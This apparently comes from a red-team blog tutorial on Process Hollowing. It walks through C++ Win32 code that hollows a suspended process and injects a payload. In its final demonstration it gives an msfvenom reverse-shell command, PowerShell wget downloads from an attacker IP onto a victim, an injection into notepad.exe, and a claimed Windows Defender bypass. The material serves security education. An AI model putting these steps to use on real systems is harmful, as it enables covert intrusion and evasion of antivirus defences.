Defense Evasion, Red Teaming

Process Hollowing (Mitre:T1055.012)

In July 2011, John Leitch of autosectools.com talked about a technique he called process hollowing in his whitepaper here. Ever since then, many malware campaigns like Bandook and Ransom.Cryak, and various APTs have utilized Process Hollowing for defense evasion and privilege escalation. In this article, we aim to discuss the technical concepts utilized behind the technique in an easy to comprehend manner and demonstrate a ready to go tool that can perform Process Hollowing in a portable manner.

  1. MITRE TACTIC: Defense Evasion (TA0005) and Privilege Escalation (TA0004)
  2. MITRE Technique ID: Process Injection (T1055)
  3. MITRE SUB ID: Process Hollowing (T1055.012)

Table of content

  • Pre-Requisites
  • Process Hollowing
  • Demonstration 1: PoC
  • Demonstration 2: PoC
  • Demonstration 3: Real Time Exploit
  • Conclusion

Pre-Requisites

One must be aware of the following requirements in order to fully understand the process discussed:

  • C/C++/C# with Win32 API coding
  • Registers, PEB, Memory management in Windows OS
  • Debugging code

Process Hollowing

Firstly, the fundamental concept is quite straightforward. In the process hollowing code injection technique, an attacker creates a new process in a suspended state, unmaps (hollows) its image from memory, writes a malicious binary, and finally resumes the program state to execute the injected code. The workflow of the technique is:

STEPS

1: Creating a new process in a suspended state:

  • CreateProcessA() with CREATE_SUSPENDED flag set

2: Swap out its memory contents (unmapping/hollowing):

  • NtUnmapViewOfSection()

3: Input malicious payload in this unmapped region:

  • VirtualAllocEx : To allocate new memory
  • WriteProcessMemory() : To write each of malware sections to target the process space

4: Setting EAX to the entrypoint:

  • SetThreadContext()

5: Start the suspended thread:

  • ResumeThread()

Programmatically speaking, in the original code, the following code was used to demonstrate the same which is explained below

Step 1: Creating a new process

An adversary first creates a new process. To create a benign process in suspended mode the functions are used:

  • CreateProcessA() and flag CREATE_SUSPENDED

Following code, snippet is taken from the original source here. An explanation is as follows:

  • pStartupInfo is the pointer to the STARTUPINFO structure which specifies the appearance of the window at creation time
  • pProcessInfo is the pointer to the PROCESS_INFORMATION structure that contains details about a process and its main thread. It returns a handle called hProcess which can be used to modify the memory space of the process created.
  • These two pointers are required by CreateProcessA function to create a new process.
  • CreateProcessA creates a new process and its primary thread and inputs various different flags. One such flag being the CREATE_SUSPENDED. This creates a process in a suspended state. For more details on this structure, refer here.
  • If the process creation fails, function returns 0.
  • Finally, if the pProcessInfo pointer doesn’t return a handle, means the process hasn’t been created and the code ends.
printf("Creating process\r\n");
LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA();
LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION();
CreateProcessA
(
                0,
                pDestCmdLine,
                0,
                0,
                0,
                CREATE_SUSPENDED,
                0,
                0,
                pStartupInfo,
                pProcessInfo
);
 
if (!pProcessInfo->hProcess)
{
                printf("Error creating process\r\n");
                return;
}

Step 2: Information Gathering

  • Read the base address of the created process

We have to know the base address of the created process so that we can use this to copy this memory block to the created process’ memory block later. This can be done using:

NtQueryProcessInformation + ReadProcessMemory

Also, can be done easily using a single function:

ReadRemotePEB(pProcessInfo->hProcess) PPEB pPEB = ReadRemotePEB(pProcessInfo->hProcess);

  • Read the NT Headers format (from the PE structure) from the PEB’s image address.

To proceed, this step is essential as it contains information related to the OS, which we need in the upcoming code. We can accomplish this using the ReadRemoteImage() function. The variable pImage serves as a pointer to the hProcess handle and the ImageBaseAddress

PLOADED_IMAGE pImage = ReadRemoteImage
(
pProcessInfo->hProcess,
pPEB->ImageBaseAddress
);

Step 3: Unmapping (hollowing) and swapping the memory contents

Unmapping

After obtaining the NT headers, we can unmap the image from memory.

  • Get a handle of NTDLL, a file containing Windows Kernel Functions
  • HMODULE obtains a handle hNTDLL that points to NTDLL’s base address using GetModuleHandleA()
  • GetProcAddress() takes input of NTDLL
  • handle to ntdll that contains the “NtUnmapViewOfSection” variable name stored in the specified DLL
  • Create NtUnmapViewOfSection variable which carves out process from the memory
printf("Unmapping destination section\r\n");
HMODULE hNTDLL = GetModuleHandleA("ntdll");                                                                                                                                  

FARPROC fpNtUnmapViewOfSection = GetProcAddress  
(
            hNTDLL,                                                                                             
            "NtUnmapViewOfSection"                                      
);
 
_NtUnmapViewOfSection NtUnmapViewOfSection =
(_NtUnmapViewOfSection)fpNtUnmapViewOfSection;   
 
DWORD dwResult = NtUnmapViewOfSection
(
            pProcessInfo->hProcess,
            pPEB->ImageBaseAddress
);

Swapping memory contents

Now we have to map a new block of memory for source image. Here, a malware would be copied to a new block of memory. For this we need to provide:

  • A handle to process,
  • Base address,
  • Size of the image,
  • Allocation type-> here, MEM_COMMIT | MEM_RESERVE means we demanded and reserved a particular contiguous block of memory pages
  • Memory protection constant. Read here. PAGE_EXECUTE_READWRITE -> enables RWX on the committed memory block.
PVOID pRemoteImage = VirtualAllocEx
(
            pProcessInfo->hProcess,
            pPEB->ImageBaseAddress,
            pSourceHeaders->OptionalHeader.SizeOfImage,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_EXECUTE_READWRITE
);

Step 4: Copy this new block of memory (malware) to the suspended process memory

Then, section by section, we copy our new block of memory (pSectionDestination) to the virtual address of the process memory (pSourceImage).

for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++)
{
            if (!pSourceImage->Sections[x].PointerToRawData)
                        continue;
            PVOID pSectionDestination =          (PVOID)((DWORD)pPEB->ImageBaseAddress + pSourceImage->Sections[x].VirtualAddress);
}

Step 5: Rebasing the source image

Since the source image loads to a different ImageBaseAddress than the destination process, we need to rebase it so that the binary can properly resolve the addresses of static variables and other absolute addresses. The Windows loader determines how to patch images in memory by referring to a relocation table that resides in the binary.

for (DWORD y = 0; y < dwEntryCount; y++)
{
            dwOffset += sizeof(BASE_RELOCATION_ENTRY);
            if (pBlocks[y].Type == 0)
                        continue;
            DWORD dwFieldAddress = pBlockheader->PageAddress + pBlocks[y].Offset;
            DWORD dwBuffer = 0;
            ReadProcessMemory
            (
                        pProcessInfo->hProcess,
                        (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress),
                        &dwBuffer,
                        sizeof(DWORD),
                        0
            );
            dwBuffer += dwDelta;
            BOOL bSuccess = WriteProcessMemory
            (
                        pProcessInfo->hProcess,
                        (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress),
                        &dwBuffer,
                        sizeof(DWORD),
                        0
            );
}

Step 6: Setting EAX to the entrypoint and Resuming Thread

Then, we’ll get the thread context, set EAX to entrypoint using SetThreadContext and resume execution using ResumeThread()

  • EAX is a special purpose register which stores the return value of a function. Code execution begins where EAX points.
  • The thread context includes all the information the thread needs to seamlessly resume execution, including the thread’s set of CPU registers and stack.
LPCONTEXT pContext = new CONTEXT();
pContext->ContextFlags = CONTEXT_INTEGER;
GetThreadContext(pProcessInfo->hThread, pContext)
DWORD dwEntrypoint = (DWORD)pPEB->ImageBaseAddress + pSourceHeaders->OptionalHeader.AddressOfEntryPoint;
pContext->Eax = dwEntrypoint;                               //EAX set to the entrypoint
SetThreadContext(pProcessInfo->hThread, pContext)
ResumeThread(pProcessInfo->hThread)                 //Thread resumed

Step 7: Replacing genuine process with custom code

Afterward, we pass our custom code that should replace a genuine process. In the code shared by John Leitch, a function called CreateHallowedProcess encapsulates all the logic from steps 1 through 6. It takes as arguments the name of the genuine process (e.g., svchost) and the path to the custom payload (e.g., HelloWorld.exe).

pPath[strrchr(pPath, '\\') - pPath + 1] = 0;
strcat(pPath, "helloworld.exe");
CreateHollowedProcess("svchost",pPath);

Demonstration 1

Furthermore, you can download, inspect, and run the official code using Process Hollowing. Download the full code, extract it, and run ProcessHollowing.exe, which contains the entire implementation. As you’ll observe, the file creates a new process and injects HelloWorld.exe into it.

Upon inspection in Process Explorer, we observe a new process spawns as svchost, but there’s no mention of HelloWorld.exe, which indicates that the EXE has been masqueraded.

NOTE: You can manually modify this code and inject your own shell (generated via tools like msfvenom) using Visual Studio and by rebuilding the source code, though that goes beyond the scope of this article.

Demonstration 2

Ryan Reeves created a PoC of the technique which can be found . Interestingly, Ryan Reeves created a PoC for this technique, which you can find online. In part 1, he coded a Process Hollowing EXE that injects a small PoC popup into a legitimate explorer.exe process. Notably, this standalone EXE can have its popup replaced with msfvenom shellcode to yield a reverse shell to your own C2 server. As a result, you can run it as shown, and you’ll receive a small popup:

Then, by checking in Process Explorer, we confirm that a new explorer.exe process was created with the specified process ID, which indicates that our EXE has been successfully masqueraded using the hollowing technique.

Demonstration 3: Real-Time Exploit

We saw two PoCs above but the fact is both of these methods aren’t beginner-friendly and need coding knowledge to execute the attack in real-time environment. Lucky for us, in comes ProcessInjection.exe tool created by Chirag Savla which takes a raw shellcode as input from a text file and injects into a legit process as specified by the user. To begin, you can download and compile the project using Visual Studio for release. (Go to Visual Studio → open .sln file → build for release)

Next, we need to create our shellcode. In this example, I’m generating a hexadecimal shellcode for reverse_tcp using CMD:

msfvenom -p windows/x64/shell_reverse_tcp exitfunc=thread LHOST=192.168.0.89 LPORT=1234 -f hex

After generating the shellcode, we transfer it along with our ProcessInjection.exe file to the victim system. Then, we execute the shellcode using the Process Hollowing technique. Here’s how the parameters work:

  • /t:3 specifies Process Hollowing
  • /f indicates the shellcode format (hexadecimal in this case)
  • /path: points to the shellcode file (here, hex.txt)
  • /ppath: provides the full path to the legitimate process to spawn
powershell wget 192.168.0.89/ProcessInjection.exe -O ProcessInjection.exe
powershell wget 192.168.0.89/hex.txt -O hex.txt
ProcessInjection.exe /t:3 /f:hex /path:"hex.txt" /ppath:"c:\windows\system32\notepad.exe"

As a result, notepad.exe spawns with our own shellcode injected, and we successfully receive a reverse shell!

Out of curiosity, we tested this locally with Windows Defender ON. As shown, the Process Hollowing completed without issues.

In Process Explorer, we observe that a new notepad.exe process has been spawned with the same PID as the one created by our executable.

Finally, when we executed this, Defender didn’t detect any threats, confirming that we had successfully bypassed the antivirus.

NOTE: Newer versions of Windows might detect this behavior, as updated patches monitor unmapped memory segments, thereby preventing traditional process hollowing techniques.

Conclusion

The article discussed a process injection method known as Process Hollowing in which an attacker is able to achieve code execution by creating a benign new process in a suspended state, injecting custom malicious code in it and then resuming its execution again. Additionally, the article explored some of the original code described by John Leitch. It also provided a basic breakdown of the technique, followed by three PoC examples available on GitHub. We hope you enjoyed the article. Thanks again for reading.

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here